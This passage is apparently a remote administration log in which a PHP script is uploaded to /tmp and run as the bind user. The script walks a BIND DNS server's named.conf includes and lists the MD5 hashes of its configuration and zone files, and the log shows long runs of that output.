MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:03:04: Establishing a connection
2026-04-24 16:03:04: 

PUT: /tmp/pkp424718

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:03:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp424718; rm /tmp/pkp424718'

2026-04-24 16:03:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:03:41: Establishing a connection
2026-04-24 16:03:42: 

PUT: /tmp/pkp841060

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:03:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp841060; rm /tmp/pkp841060'

2026-04-24 16:03:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
